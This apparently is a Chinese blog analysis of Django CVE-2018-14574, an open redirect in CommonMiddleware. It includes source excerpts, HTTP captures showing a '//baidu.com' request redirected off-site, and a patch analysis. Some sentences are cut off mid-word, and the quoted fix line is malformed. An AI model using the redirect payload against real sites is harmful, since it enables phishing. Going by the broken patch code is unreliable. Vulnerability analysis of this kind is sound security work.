


## 零、基本信息

CVE-ID : CVE-2018-14574

漏洞类型 : URL跳转

影响范围 : 1.11.0 <= version < 1.11.15 和 2.0.0 <= version < 2.0.8

## 一、环境复现



## 二、漏洞分析

当setting中配置了django.middleware.common.CommonMiddleware且APPEND\_SLASH为True时漏洞就会触发，而这两个配置时默认存在的，而且APPEND\_SLASH不

- Forbid access to User-Agents in settings.DISALLOWED\_USER\_AGENTS
- URL rewriting: Based on the APPEND\_SLASH and PREPEND\_WWW settings, append missing slashes and/or prepends missing "www."s.
- If APPEND\_SLASH is set and the initial URL doesn't end with a slash, and it is not found in urlpatterns, form a new URL by appending a slash at the end. If this new URL is found in urlpatterns, return an HTTP redirect to this new URL; otherwise process the initial URL as usual.

This behavior can be customized by subclassing CommonMiddleware and overriding the response\_redirect\_class attribute.

- ETags: If the USE\_ETAGS setting is set, ETags will be calculated from the entire page content and Not Modified responses will be returned appropriately. USE\_ETAGS is deprecated in favor of ConditionalGetMiddleware.

而漏洞就与URL

rewriting有关：如果设置了APPEND\_SLASH=True并且初始URL没有以斜杠结尾，并且在urlpatterns中找不到它，则通过在末尾附加斜杠来形成新的URL。如果在urlpatte

Request

RawParamsHeadersHex

GET /test HTTP/1.1  
Host: 127.0.0.1:8000  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie:  
csrftoken=zUMOcMuQEuuFRE6UO2i5ITqQXDWOzUWYisZINKkLJySkSOUN8riF6NVaQH9ekwL;  
\_ga=GA1.1.1158728480.1531893501;  
request\_token=GjuZhCRjFHTmyBmbtOTXVxfqveLLzmbTqzfxlRKagYjezVuEltrjUZfgPkSxgOHY  
Connection: close

Response

RawHeadersHex

HTTP/1.1 301 Moved Permanently  
Date: Thu, 15 Nov 2018 13:06:58 GMT  
Server: WSGIServer/0.2 CPython/3.6.3  
Content-Type: text/html; charset=utf-8  
Location: /test/  
Content-Length: 0

但是当发起类似这样的请求<http://127.0.0.1:8000//baidu.com>

程序就会进行设定的跳转，首先会执行process\_request()函数，在61行进入get\_full\_path\_with\_slash()函数

```
59         # Check if a slash should be appended
60         if self.should_redirect_with_slash(request):
61             path = self.get_full_path_with_slash(request)
62         else:
63             path = request.get_full_path()
```

这个函数的作用就是get\_full\_path()函数给path末尾加上斜杠

```
83     def get_full_path_with_slash(self, request):
84         """
85         Return the full path of the request with a trailing slash appended.
86
87         Raise a RuntimeError if settings.DEBUG is True and request.method is
88         POST, PUT, or PATCH.
89         """
90         new_path = request.get_full_path(force_append_slash=True)
91         if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):
92             raise RuntimeError(
93                 "You called this URL via %(method)s, but the URL "
94                 "in a slash and you have APPEND_SLASH set. Django can't "
95                 "redirect to the slash URL while maintaining %(method)s data. "
96                 "Change your form to point to %(url)s (note the trailing "
97                 "slash), or set APPEND_SLASH=False in your Django settings." % {
98                     'method': request.method,
99                     'url': request.get_host() + new_path,
100             })
101         return new_path
```

返回的new\_path就是//baidu.com/，然后在68行进入HttpResponseRedirectBase这个类，它是HTTP跳转的一个基类

```

65         # Return a redirect if necessary
66         if redirect_url or path != request.get_full_path():
67             redirect_url += path
68         return self.response_redirect_class(redirect_url)

```

虽然类的初始化函数里（409行）有对协议的检查，但是scheme根本就不存在，所以会跳过这个判断。

```

class HttpResponseRedirectBase(HttpResponse):
    allowed_schemes = ['http', 'https', 'ftp']

    def __init__(self, redirect_to, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self['Location'] = iri_to_uri(redirect_to)
        parsed = urlparse(str(redirect_to))
        if parsed.scheme and parsed.scheme not in self.allowed_schemes:
            raise DisallowedRedirect("Unsafe redirect to URL with protocol '%s'" % parsed.scheme)

```

在往后就是正常的301跳转

Raw Params Headers Hex

GET //baidu.com HTTP/1.1  
Host: 127.0.0.1:8000  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: csrftoken=zUMOcMuQEuuFRE6UO2i5ITqqxDWOzUWYisZINKKLJySkSOUN8riF6NVaQH9ekwL; \_ga=GA1.1.1158728480.1531893501; request\_token=GjuZhCRjFHTmyBmbtOTXVxfqveLLzmbTqzfxIRKagYjezVuEltrjUZfgPkSxgOHY  
Connection: close

Raw Headers Hex

HTTP/1.1 301 Moved Permanently  
Date: Thu, 15 Nov 2018 13:09:54 GMT  
Server: WSGIServer/0.2 CPython/3.6.3  
Content-Type: text/html; charset=utf-8  
Location: //baidu.com/  
Content-Length: 0

双斜线是为了告诉浏览器这是绝对路径，否则就会跳转到<http://127.0.0.1:8000/baidu.com/>而不是baidu了。

### 三、补丁分析

修补方法就是加了一个编码函数，

```

438 def escape_leading_slashes(url):
439     """
440     If redirecting to an absolute path (two leading slashes), a slash must be
441     escaped to prevent browsers from handling the path as schemaless and
442     redirecting to another host.
443     """
444     if url.startswith('//'):
445         url = '/%2F %'.format(url[2:])
446     return url
447

```

对第二个/编码，这样就构不成绝对路径了

Request

RawParamsHeadersHex

GET /baidu.com HTTP/1.1  
Host: 127.0.0.1:8000  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie:  
csrftoken=zUMOcMuQEuuFRE6UO2i5ITqxDWOzUWYisZINkKLJySkSOUN8riF6NVaQH9ekwIL;  
\_ga=GA1.1.1158728480.1531893501;  
request\_token=GjuZhCRjFHTmyBmbtOTXVxfqveLLzmbTqzfxIRKagYjezVuEltrjUZfgPkSxgOHY  
Connection: close

Response

RawHeadersHex

HTTP/1.1 301 Moved Permanently  
Date: Thu, 15 Nov 2018 14:16:23 GMT  
Server: WSGIServer/0.2 CPython/3.6.3  
Content-Type: text/html; charset=utf-8  
Location: /%2Fbaidu.com/  
Content-Length: 0

四、参考文献

<https://nvd.nist.gov/vuln/detail?vulnId=2018-14574>  
<https://github.com/django/django/commit/6fffc3c6d420e44f4029d5643f38d00a39b08525#diff-1f8be0eae49a1bf37d52829eaeda6a4eR14>

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1. 3 条回复



[Lilyan](#) 2018-11-26 16:40:59

有个小疑问 为什么我使用 django 2.0.7 无法复现这个漏洞？  
想问一下 使用的那个及 .py 文件里面的规则是怎么写的？？

0 回复Ta



[xman21](#) 2018-12-07 14:19:51

@Lilyan 具体是什么错误或什么响应呢

0 回复Ta



[p\\*\\*\\*\\*@qq.com](#) 2019-01-24 14:35:16

零 亮了。。。。。

0 回复Ta

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